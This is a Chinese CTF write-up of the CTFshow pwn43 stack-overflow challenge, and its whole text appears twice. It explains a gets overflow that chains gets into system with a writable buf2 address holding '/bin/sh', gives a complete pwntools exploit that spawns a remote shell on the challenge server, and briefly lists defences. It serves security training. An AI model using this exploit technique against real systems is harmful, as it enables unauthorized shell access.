1. 理解题目背景与核心挑战最近在CTFshow的PWN题目中遇到一道有趣的栈溢出题pwn43题目给出了system函数的地址但程序里找不到现成的/bin/sh字符串。这种场景在实际CTF比赛中很常见我们需要通过分析内存布局找到可写入的缓冲区然后构造完整的攻击链。这道题的特殊之处在于传统的直接调用system(/bin/sh)的方法行不通了。我们需要分两步走首先找到合适的内存地址写入/bin/sh然后精心构造ROP链让程序执行system函数时能正确找到这个字符串。这涉及到对程序内存布局的深入理解和gets函数特性的灵活运用。2. 漏洞分析与关键发现用IDA反编译程序后发现ctfshow函数里定义了一个104字节的字符数组s使用gets函数读取输入。gets函数不会检查输入长度这就给了我们栈溢出的机会。更重要的是我们发现程序中有system函数的地址0x8048450但缺少/bin/sh字符串。通过gdb调试使用vmmap命令查看内存映射情况发现0x804b000到0x804c000这段内存是可读写的rw-p。在这段内存中找到了一个buf2变量地址是0x804B060。这个发现很关键因为它给了我们一个可控的写入位置。gets函数的地址0x8048420也很重要因为我们需要用它来向buf2写入/bin/sh。这样整个攻击思路就清晰了先用gets把/bin/sh写入buf2然后调用system函数时把buf2地址作为参数传递。3. 内存布局与权限分析理解内存布局是PWN题的关键。通过vmmap命令我们可以看到内存段的详细权限信息rw-p表示可读可写但不可执行1000和2000表示内存区域大小/home/ctfshow/...表示内存映射来源在0x804b000到0x804c000这段可读写内存中buf2的地址0x804B060正好位于其中。这意味着我们可以安全地向这个地址写入数据而不会触发内存保护机制。这种分析能力在解决实际PWN题时非常重要。4. 构造ROP攻击链现在我们需要构造一个完整的ROP链来实现攻击。具体思路是先用栈溢出覆盖返回地址跳转到gets函数让gets函数把/bin/sh写入buf2然后返回到system函数并把buf2地址作为参数对应的payload结构应该是[填充数据][gets地址][system地址][buf2地址][buf2地址]第一个buf2地址是gets函数的参数告诉它往哪里写第二个buf2地址是system函数的参数告诉它从哪里读取命令。这种双重参数的设计是这道题的精髓所在。5. 编写完整exp代码基于以上分析我们可以写出完整的攻击代码from pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28227) offset 0x6C 4 # 计算填充长度 system_addr 0x8048450 buf2_addr 0x804B060 gets_addr 0x8048420 payload ba*offset p32(gets_addr) p32(system_addr) p32(buf2_addr) p32(buf2_addr) p.sendline(payload) p.sendline(/bin/sh) p.interactive()这段代码首先计算需要填充的长度然后构造包含gets和system函数地址的payload。发送payload后再发送/bin/sh字符串让gets函数写入指定位置最后获取交互式shell。6. payload结构详解让我们深入分析payload的构造原理ba*offset填充数据覆盖栈空间直到返回地址p32(gets_addr)覆盖返回地址为gets函数p32(system_addr)gets函数执行后的返回地址第一个p32(buf2_addr)gets函数的参数指定写入位置第二个p32(buf2_addr)system函数的参数指定命令字符串位置这种构造方式巧妙地利用了函数调用约定和栈布局。当gets函数执行时它会从标准输入读取数据写入buf2_addr执行完毕后程序会返回到system_addr并把栈上的下一个值也就是buf2_addr作为参数。7. 实际攻击过程与调试技巧在实际攻击过程中有几个调试技巧很实用使用gdb调试时可以在关键函数处设置断点观察栈变化使用cyclic工具确定准确的偏移量在发送payload前可以先本地测试确保逻辑正确遇到问题时可以分段测试payload逐步验证每个部分的效果这道题的一个常见错误是忘记发送/bin/sh字符串。记住gets函数需要两次输入第一次是payload第二次才是实际要写入的字符串。8. 防御措施与进阶思考虽然我们成功利用了漏洞但从防御角度也值得思考使用更安全的函数替代gets启用栈保护机制如canary限制内存段的执行权限NX地址随机化ASLR对于想进一步学习的同学可以尝试以下变种题目当system函数不可用时如何通过其他方式获取shell在64位程序中的类似利用方式存在部分限制时的绕过技巧在实际CTF比赛中这种缺胳膊少腿的题目很常见培养的就是这种灵活思考和综合利用能力。
CTFshow-PWN-栈溢出实战:无/bin/sh的system调用构造
发布时间:2026/5/19 19:28:14
1. 理解题目背景与核心挑战最近在CTFshow的PWN题目中遇到一道有趣的栈溢出题pwn43题目给出了system函数的地址但程序里找不到现成的/bin/sh字符串。这种场景在实际CTF比赛中很常见我们需要通过分析内存布局找到可写入的缓冲区然后构造完整的攻击链。这道题的特殊之处在于传统的直接调用system(/bin/sh)的方法行不通了。我们需要分两步走首先找到合适的内存地址写入/bin/sh然后精心构造ROP链让程序执行system函数时能正确找到这个字符串。这涉及到对程序内存布局的深入理解和gets函数特性的灵活运用。2. 漏洞分析与关键发现用IDA反编译程序后发现ctfshow函数里定义了一个104字节的字符数组s使用gets函数读取输入。gets函数不会检查输入长度这就给了我们栈溢出的机会。更重要的是我们发现程序中有system函数的地址0x8048450但缺少/bin/sh字符串。通过gdb调试使用vmmap命令查看内存映射情况发现0x804b000到0x804c000这段内存是可读写的rw-p。在这段内存中找到了一个buf2变量地址是0x804B060。这个发现很关键因为它给了我们一个可控的写入位置。gets函数的地址0x8048420也很重要因为我们需要用它来向buf2写入/bin/sh。这样整个攻击思路就清晰了先用gets把/bin/sh写入buf2然后调用system函数时把buf2地址作为参数传递。3. 内存布局与权限分析理解内存布局是PWN题的关键。通过vmmap命令我们可以看到内存段的详细权限信息rw-p表示可读可写但不可执行1000和2000表示内存区域大小/home/ctfshow/...表示内存映射来源在0x804b000到0x804c000这段可读写内存中buf2的地址0x804B060正好位于其中。这意味着我们可以安全地向这个地址写入数据而不会触发内存保护机制。这种分析能力在解决实际PWN题时非常重要。4. 构造ROP攻击链现在我们需要构造一个完整的ROP链来实现攻击。具体思路是先用栈溢出覆盖返回地址跳转到gets函数让gets函数把/bin/sh写入buf2然后返回到system函数并把buf2地址作为参数对应的payload结构应该是[填充数据][gets地址][system地址][buf2地址][buf2地址]第一个buf2地址是gets函数的参数告诉它往哪里写第二个buf2地址是system函数的参数告诉它从哪里读取命令。这种双重参数的设计是这道题的精髓所在。5. 编写完整exp代码基于以上分析我们可以写出完整的攻击代码from pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28227) offset 0x6C 4 # 计算填充长度 system_addr 0x8048450 buf2_addr 0x804B060 gets_addr 0x8048420 payload ba*offset p32(gets_addr) p32(system_addr) p32(buf2_addr) p32(buf2_addr) p.sendline(payload) p.sendline(/bin/sh) p.interactive()这段代码首先计算需要填充的长度然后构造包含gets和system函数地址的payload。发送payload后再发送/bin/sh字符串让gets函数写入指定位置最后获取交互式shell。6. payload结构详解让我们深入分析payload的构造原理ba*offset填充数据覆盖栈空间直到返回地址p32(gets_addr)覆盖返回地址为gets函数p32(system_addr)gets函数执行后的返回地址第一个p32(buf2_addr)gets函数的参数指定写入位置第二个p32(buf2_addr)system函数的参数指定命令字符串位置这种构造方式巧妙地利用了函数调用约定和栈布局。当gets函数执行时它会从标准输入读取数据写入buf2_addr执行完毕后程序会返回到system_addr并把栈上的下一个值也就是buf2_addr作为参数。7. 实际攻击过程与调试技巧在实际攻击过程中有几个调试技巧很实用使用gdb调试时可以在关键函数处设置断点观察栈变化使用cyclic工具确定准确的偏移量在发送payload前可以先本地测试确保逻辑正确遇到问题时可以分段测试payload逐步验证每个部分的效果这道题的一个常见错误是忘记发送/bin/sh字符串。记住gets函数需要两次输入第一次是payload第二次才是实际要写入的字符串。8. 防御措施与进阶思考虽然我们成功利用了漏洞但从防御角度也值得思考使用更安全的函数替代gets启用栈保护机制如canary限制内存段的执行权限NX地址随机化ASLR对于想进一步学习的同学可以尝试以下变种题目当system函数不可用时如何通过其他方式获取shell在64位程序中的类似利用方式存在部分限制时的绕过技巧在实际CTF比赛中这种缺胳膊少腿的题目很常见培养的就是这种灵活思考和综合利用能力。